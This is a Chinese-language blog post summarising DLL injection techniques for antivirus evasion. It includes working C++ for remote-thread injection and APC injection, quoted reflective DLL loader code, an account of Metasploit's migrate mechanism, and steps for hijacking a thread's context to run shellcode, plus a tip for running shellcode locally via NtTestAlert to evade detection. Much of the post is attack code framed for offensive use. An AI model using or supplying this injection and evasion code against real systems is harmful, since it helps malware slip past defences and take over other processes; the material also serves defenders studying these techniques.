Joe1sn's Cabinet

【免杀】DLL注入小结

DLL 注入进化史

远程线程调用注入

这个是最简单的

这里我接受的是程序的进程PID和待注入DLL的路径szPath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void DLLinjector::DllOnLoad() {
if (!this->Check()){
wcout << "The Process or DLL file not found\n";
return;
}
//向目标进程写入DLL的路径
SIZE_T dwWriteSize = 0;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, this->dwPid);
LPVOID pAddress = VirtualAllocEx(hProcess, NULL, 0x100, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pAddress, this->szPath, wcslen(this->szPath)*2+2, &dwWriteSize);

//从ntdll导出 LoadLibraryA 函数
HMODULE Ntdll = LoadLibraryA("ntdll.dll");
LPVOID LoadLibraryBase = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

HANDLE hRemoteProcess = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibraryW,pAddress,NULL,NULL);
WaitForSingleObject(hRemoteProcess, -1);

//释放资源
VirtualFreeEx(hProcess, pAddress, 0x300, MEM_COMMIT);
CloseHandle(hProcess);
FreeModule(Ntdll);

wcout << "injection complete\n";
}

image-20230717205213381

反射DLL注入

这里找了一张先知的图,上面说了反射DLL注入的流程,原文在这里https://xz.aliyun.com/t/11072

image-20230717210533079

最大的区别就是我们没有使用LoadLibarary这个函数,而是相当于自己写了一个DLL加载器

仔细观察过程就看得出来,远程线程调用注入写入的是DLL路径,然后创建远程调用LoadLibarary(LPTHREAD_START_ROUTINE)

反射DLL注入是将整个文件解析过后,获得必要的dll句柄和函数为修复导入表做准备,分配一块新内存去取解析dll,并把pe头复制到新内存中和将各节复制到新内存中,修复导入表和重定向表,执行DllMain()函数。

群里聊到了进程迁移技术,msf上的migrate原理就是反射DLL注入

  1. 读取metsrv.dll(metpreter payload模板dll)文件到内存中。

  2. 生成最终的payload。

    a) msf生成一小段汇编migrate stub主要用于建立socket连接。

    b) 将metsrv.dll的dos头修改为一小段汇编meterpreter_loader主要用于调用reflective loader函数和dllmain函数。在metsrv.dll的config block区填充meterpreter建立session时的配置信息。

    c) 最后将migrate stub和修改后的metsrv.dll拼接在一起生成最终的payload。

  3. 向msf server发送migrate请求和payload。

  4. msf向迁移目标进程分配一块内存并写入payload。

  5. msf首先会创建的远程线程执行migrate stub,如果失败了,就会尝试用apc注入的方式执行migrate stub。migrate stub会调用meterpreter loader,meterpreter loader才会调用reflective loader。

  6. reflective loader进行反射式dll注入。

  7. 最后msf client和msf server建立一个新的session。

这里就不自己写了,参考的是https://github.com/stephenfewer/ReflectiveDLLInjection

首先需要描述的就是DLL的解析过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;

// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;

// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;

// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;

// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

} while( 0 );

lpBuffer就是读取到内存中的DLL的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;

// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));

if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );

// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);

// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}

return 0;

GetReflectiveLoaderOffset就是解析文件头找到DLL的导出表,如果发现ReflectiveLoader的函数,那么返回在hProcess的内存文件中的位置

然后回到LoadRemoteLibraryR使用CreateRemoteThread进行注入

关于RVA和VA的计算可以参考我很早写的一篇博客:PE文件结构中的RVA与RAW

现在可以看一下他的DLL是如何构造的

首先存在一个导出函数

image-20230718084605818

通过阅读这个函数的代码发现

  1. 使用_ReturnAddress获得调用完成的返回地址,反推初DLL的基地址
  2. 通过PEB得到LoadLibraryAGetProcAddressVirtualAlloc,使用NtFlushInstructionCache暂时存储其他导入表的函数
  3. 迁移之前的DLL镜像到新的位置
  4. 覆写迁移后的文件头的节区位置
  5. 使用刚才导入的LoadLibraryAGetProcAddress修复IAT
  6. 处理重定向相关
  7. 找到DLLMain并跳转后执行

APC注入

在最开始的远程线程调用注入使用的是TH32CS_SNAPPROCESS,这里就是利用KiUserDispatch调度进行APC例程调用,让线程使用LoadLibarary进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
THREADENTRY32 te = { sizeof(THREADENTRY32) };
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (INVALID_HANDLE_VALUE == hThreadSnap) {
std::cout << "Error In APC Injection\n";
}
BOOL bStat = FALSE;
//得到第一个线程
if (Thread32First(hThreadSnap, &te)) {
do
{
if (te.th32OwnerProcessID == this->dwPid) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread) {
DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, hThread, (ULONG_PTR)pAddress);
if (dwRet > 0) bStat = TRUE;
}
CloseHandle(hThread);
}
} while (Thread32Next(hThreadSnap, &te));
}
CloseHandle(hThreadSnap);

image-20230718092010464

还有一个技巧就是使用NTDLL中的未导出函数NtTestAlert就可以立即调用APC例程

上面的把hProcess = GetCurrentProcess()pAddress = shellcode_Address相当于使用DLL注入进行免杀了

上下文注入

之前在写PE加载器的时候就想到了这个,主要是通过暂停程序,获得并修改上下文,在内存中写入shellcode,然后再恢复就行了

问题在于shellcode还有计算各种偏移,个人觉得涉及shellcode和汇编较多,就不再本篇文章赘述

用到的主要WINAPI就是

  1. 创建会shellcode裸函数(__declspec(naked)),导出LoadLibrary等函数
  2. OpenProcess后再OpenThread,使用SuspendThread暂停线程
  3. 创建类型为CONTEXT的变量,初始化context.ContextFlags=CONTEXT_FULL
  4. GetThreadContext获得上下文
  5. VirualAlloc获得空间,类似RtlMoveMemory这种复制shellcode到空间
  6. context.eip = shellcode_addr,使用SetThreadContext重新设置上下文,ResumeThread恢复线程

内核中的过程差不多,不过更多的是不一样的API